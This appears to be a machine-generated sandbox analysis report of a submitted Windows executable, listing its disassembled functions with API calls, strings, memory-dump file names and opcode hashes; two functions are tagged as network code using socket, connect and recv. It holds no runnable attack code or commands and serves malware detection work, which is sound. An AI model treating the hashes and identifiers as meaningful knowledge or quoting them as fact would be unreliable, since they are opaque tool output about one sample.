Function 006E67A9 Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(007C18F8,007C18F8,?,7FFFFFFF,?,?,006E6A65,007C18F8,007C18F8,?,007C18F8,?,?,?,?,007C18F8), ref: 006E684C
__alloca_probe_16.LIBCMT ref: 006E6902
__alloca_probe_16.LIBCMT ref: 006E6998
__freea.LIBCMT ref: 006E6A03
__freea.LIBCMT ref: 006E6A0F

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 045cb5501fab6d200e002839f28faece1511c7b22ccd4aa6293dad062020b38d
Instruction ID: 31f00c1b2eb333c1b565d812529d4bff68b30665c631d1ed39a0f1c0f9160051
Opcode Fuzzy Hash: 045cb5501fab6d200e002839f28faece1511c7b22ccd4aa6293dad062020b38d
Instruction Fuzzy Hash: 1481B171D023869BDF209E6AC841AEF7BA79F29394F194169F811BB341E731CC458BA1

Function 006E4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006E4C98
__alloca_probe_16.LIBCMT ref: 006E4D5E
__freea.LIBCMT ref: 006E4DCA

Part of subcall function 006DB04B: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 006DB07D

__freea.LIBCMT ref: 006E4DD3
__freea.LIBCMT ref: 006E4DF6

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 2b6e6a7b934b02c18acb24b514ce669f94c907d1cd7377a54c61c991497e135b
Instruction ID: 7611a16825334701791b86f9cd4c3490b76b2b752dafaaf04448d4d24f8ae816
Opcode Fuzzy Hash: 2b6e6a7b934b02c18acb24b514ce669f94c907d1cd7377a54c61c991497e135b
Instruction Fuzzy Hash: 3351C172A02356ABDB215F76DC41EFB36ABDF84750F250629FD049B245EF30DC118AA4

Function 006ADEDE Relevance: 7.6, APIs: 5, Instructions: 142networkCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 006ADF4D
recv.WS2_32(?,?,00001F40,00000000), ref: 006ADF86
recv.WS2_32(?,?,00001F40,00000000), ref: 006ADFB4
closesocket.WS2_32(?), ref: 006AE028
__Mtx_unlock.LIBCPMT ref: 006AE05D

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Mtx_unlockrecv$closesocket
String ID:
API String ID: 1157980791-0
Opcode ID: 6f12554af21ec1f89ea447e06927b93cb0e6c0b55da58d8051323ec5f2d90e4f
Instruction ID: d3793d6261f999b2a2b0ac60b5250a240dac620330c5501d3190aaec4a55f06e
Opcode Fuzzy Hash: 6f12554af21ec1f89ea447e06927b93cb0e6c0b55da58d8051323ec5f2d90e4f
Instruction Fuzzy Hash: DB51B3B0904604DFDB60AF14CC49E99B7B6FF05310F1481ADE8499B3A2EB72AD64CF55

Function 006D13F5 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006D13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 006D1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 006D147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 006D152A

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 2c6e4594ffb399bb341fd1252c893fc7d1bebcf5fcab769721fe5516e70a1889
Instruction ID: 1966b5f70bf022fd1d3562750383a151892a6e4b8bbe24b9e6241ef9ebc5f1b3
Opcode Fuzzy Hash: 2c6e4594ffb399bb341fd1252c893fc7d1bebcf5fcab769721fe5516e70a1889
Instruction Fuzzy Hash: B04192B1E00606AFCB44DF69C8819EDFBB6FF89310B14822EE516DB741DB74A941CB94

Function 006CDB30 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006CDB64

Part of subcall function 006C8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 006C8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 006CDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 006CDBE9
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 006CDC09
Concurrency::location::_Assign.LIBCMT ref: 006CDC56

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerThrowTraceWork
String ID:
API String ID: 1794448563-0
Opcode ID: fd3ea2ad0f63c16b997c917afb51c15166fe427888e4daf67569325e3aedbccd
Instruction ID: 5890afc2a3339d859abc061faec696797447dcb612c705a4b5f5a75739031550
Opcode Fuzzy Hash: fd3ea2ad0f63c16b997c917afb51c15166fe427888e4daf67569325e3aedbccd
Instruction Fuzzy Hash: 5B41C2B4604214ABDB19AB24C896FBDBB7AEF45310F0480ADE5069B382CB74AD46C795

Function 006C86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006C86EE

Part of subcall function 006BEAD0: _SpinWait.LIBCONCRT ref: 006BEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 006C8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 006C8734
List.LIBCMT ref: 006C87B7
List.LIBCMT ref: 006C87C6

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 7b50758595046582e3b9e892a1b8c99c0b21e8fca4bae5167930e03e3d961042
Instruction ID: 2f13b39444eb05a2416a808fbd8c23ebf7e511ef78f22a35367d852eeff9c54c
Opcode Fuzzy Hash: 7b50758595046582e3b9e892a1b8c99c0b21e8fca4bae5167930e03e3d961042
Instruction Fuzzy Hash: EF318876901255DFCB60EFA4D981AEDBBB2FF44308F24406ED40177252EB31AD04CBA8

Function 006ADDCF Relevance: 7.6, APIs: 5, Instructions: 80networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000000,?,?), ref: 006ADE2C
FreeAddrInfoW.WS2_32(?), ref: 006ADE4D
socket.WS2_32(00000002,00000001,00000000), ref: 006ADE75
connect.WS2_32(00000000,?,00000010), ref: 006ADE87
closesocket.WS2_32(00000000), ref: 006ADEA1

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: AddrFreeInfoclosesocketconnectgetaddrinfosocket
String ID:
API String ID: 242599585-0
Opcode ID: ec7b735d362b09d2cfa01f97dcfafd5fac34af1e2d6017ba173eff7731cff871
Instruction ID: 1b1b2fee292f7f7cef7eb98928dd095c782cd474bd6e07dd1fcc34bb821554d6
Opcode Fuzzy Hash: ec7b735d362b09d2cfa01f97dcfafd5fac34af1e2d6017ba173eff7731cff871
Instruction Fuzzy Hash: CB218671D052149BEB24AB60DC89FEDB36AEF15700F10009BF90A9A281EB755E90CF66

Function 006DF03A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006DF052

Part of subcall function 006DADF5: HeapFree.KERNEL32(00000000,00000000,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?), ref: 006DAE0B
Part of subcall function 006DADF5: GetLastError.KERNEL32(?,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?,?), ref: 006DAE1D

_free.LIBCMT ref: 006DF064
_free.LIBCMT ref: 006DF076
_free.LIBCMT ref: 006DF088
_free.LIBCMT ref: 006DF09A

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fef219331a3631bcaaf71624c890f0fd688106fd56b74927271a61174f3aeed6
Instruction ID: 79e8498b41883477dcf1731a56669c5249a01fcdd240e42ae6ff454885295c4f
Opcode Fuzzy Hash: fef219331a3631bcaaf71624c890f0fd688106fd56b74927271a61174f3aeed6
Instruction Fuzzy Hash: C8F04F33D08244EBC664EBA8E599C5773EBEE40312364581EF109D7B02CE34FC81865D

Function 006DDA1E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006DDBB8

Strings

*?, xrefs: 006DDA61

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction ID: 728dcbc3298b2a61f0636818a632a9acfb15c5952f6da324cd7fbc7739347c98
Opcode Fuzzy Hash: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction Fuzzy Hash: 43615FB5E002199FCB14DFA9C8819EEFBF6EF48314B25816AE815E7300E6719E418B90

Function 006D9019 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

`&{, xrefs: 006D906A
C:\Users\user\Desktop\4qIl08vrFY.exe, xrefs: 006D905C, 006D9099

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\4qIl08vrFY.exe$`&{
API String ID: 0-4002116355
Opcode ID: c30f26b04218aee1846b4dbea4c656046df0a655ca040e621fe27f0b2052dc82
Instruction ID: 17a75375373fd8ac3cb08ba15841441501aa74cd2d19f5912b7e9d61238a34cf
Opcode Fuzzy Hash: c30f26b04218aee1846b4dbea4c656046df0a655ca040e621fe27f0b2052dc82
Instruction Fuzzy Hash: A441AE70E00259AFCB21AF99DC85DAFBBFAEB89300B14416FF504A7341DB709A41CB65

Function 006D565B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 006D5680
CatchIt.LIBVCRUNTIME ref: 006D5766

Strings

MOC, xrefs: 006D5692
RCC, xrefs: 006D569A

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: a7694707301b634eb7bd0867c14c594b56e67371166d7473518d4a40b0647ad3
Instruction ID: 70b02e42f8eec662c5e7c5b70cd736776fae2427ddec4852f98ab8ba10a87a3d
Opcode Fuzzy Hash: a7694707301b634eb7bd0867c14c594b56e67371166d7473518d4a40b0647ad3
Instruction Fuzzy Hash: 9C415571D00609EFCF16CF98DC81AEEBBB6BF48304F24809AF915A6321D3359A50DB51

Function 006DE4B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 006DE259: GetOEMCP.KERNEL32(00000000,006DE4CB,?,?,avm,006D7661,?), ref: 006DE284

_free.LIBCMT ref: 006DE528

Strings

avm, xrefs: 006DE4B8
@"p, xrefs: 006DE550

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free
String ID: @"p$avm
API String ID: 269201875-1190310942
Opcode ID: 95f98fd9436b8acbec4528199aeabd51917b2baa318a41612761642036e2ac10
Instruction ID: 7fe3633844a0cfffe07c7fcc724af85e23520c05fcacfecd6fb82ead63b1a3e5
Opcode Fuzzy Hash: 95f98fd9436b8acbec4528199aeabd51917b2baa318a41612761642036e2ac10
Instruction Fuzzy Hash: 5F319D729042499FCB11EFA8E840ADA7BB6AF44358F11405AF9119B3A1EB32DD41CB61

Function 006CAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 006CAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006CAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 006CAF4E

Strings

pExecutionResource, xrefs: 006CAF07

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 46034a7bc8aa253f4389836d01346e8cd9b98c8ac803e9f86f521a8b0adc3321
Instruction ID: f4a82130d89b03e48b037316b0bde6d885ed81f15fe7f5f58bfba52ae3e2fbcc
Opcode Fuzzy Hash: 46034a7bc8aa253f4389836d01346e8cd9b98c8ac803e9f86f521a8b0adc3321
Instruction Fuzzy Hash: 382199B5A41309ABCB44EF54C842BFDB7A7BF48310F10402DE5056B392DBB4AE55CB95

Function 006E284D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006E28C0
_free.LIBCMT ref: 006E2916

Part of subcall function 006E26F2: _free.LIBCMT ref: 006E274A
Part of subcall function 006E26F2: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,006F6758), ref: 006E275C

Strings

Xgo, xrefs: 006E2879

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: Xgo
API String ID: 597776487-1784620979
Opcode ID: ca866eb8a10b7b27be5cf1bd34e6fbd793ef2e25dfdc0937f252baa9cd6575f4
Instruction ID: bcfe2c79109fbbf2285221eb307cebed9e342a79d8baa53f4fd521a93e63dc81
Opcode Fuzzy Hash: ca866eb8a10b7b27be5cf1bd34e6fbd793ef2e25dfdc0937f252baa9cd6575f4
Instruction Fuzzy Hash: 72213E328053969BC73057368C51EEB776FDF51320F11036AF495A2291DF705ECA8555

Function 006CA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 006CA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 006CA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006CA139

Strings

pScheduler, xrefs: 006CA131

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 1990465dc524e327312fdfb6d023f2fcf3825b7b758c92368f095d2b475e3657
Instruction ID: 7498b204f070e64da8f6946d8102ed1d374f24f7ddd645d8c08ef97f9d444568
Opcode Fuzzy Hash: 1990465dc524e327312fdfb6d023f2fcf3825b7b758c92368f095d2b475e3657
Instruction Fuzzy Hash: 11F0597690020CE3C760FA94DC43EFEB37BDE90728B14C12EE50517681DB71AA06C796

Function 006BFE1A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,?,00000001,%m,000000FF,0000000C), ref: 006BFE31
GetLastError.KERNEL32(?,006D0A25,?,006D0925,?,?,?,?,?,?,006C5CAE,?), ref: 006BFE40
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006BFE56

Strings

%m, xrefs: 006BFE27

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastObjectRegisterSingleWait
String ID: %m
API String ID: 2296417588-137078902
Opcode ID: 472d2ca242fe93888fe5d5734cd0cfb5306ca4bd107d033caea1fc0b782a360e
Instruction ID: b95d34b2bad4c4d5bf0ab4f48726506e9ae3c6baaf416c6c6497e21d232f7c08
Opcode Fuzzy Hash: 472d2ca242fe93888fe5d5734cd0cfb5306ca4bd107d033caea1fc0b782a360e
Instruction Fuzzy Hash: 5BF0A07150010ABBDF00EFA4CD45EFF3B6EAB00700F100528B620E11A2DA34DA00DB60

Function 006D504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 006D5115
___AdjustPointer.LIBCMT ref: 006D5138
___AdjustPointer.LIBCMT ref: 006D51D4

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

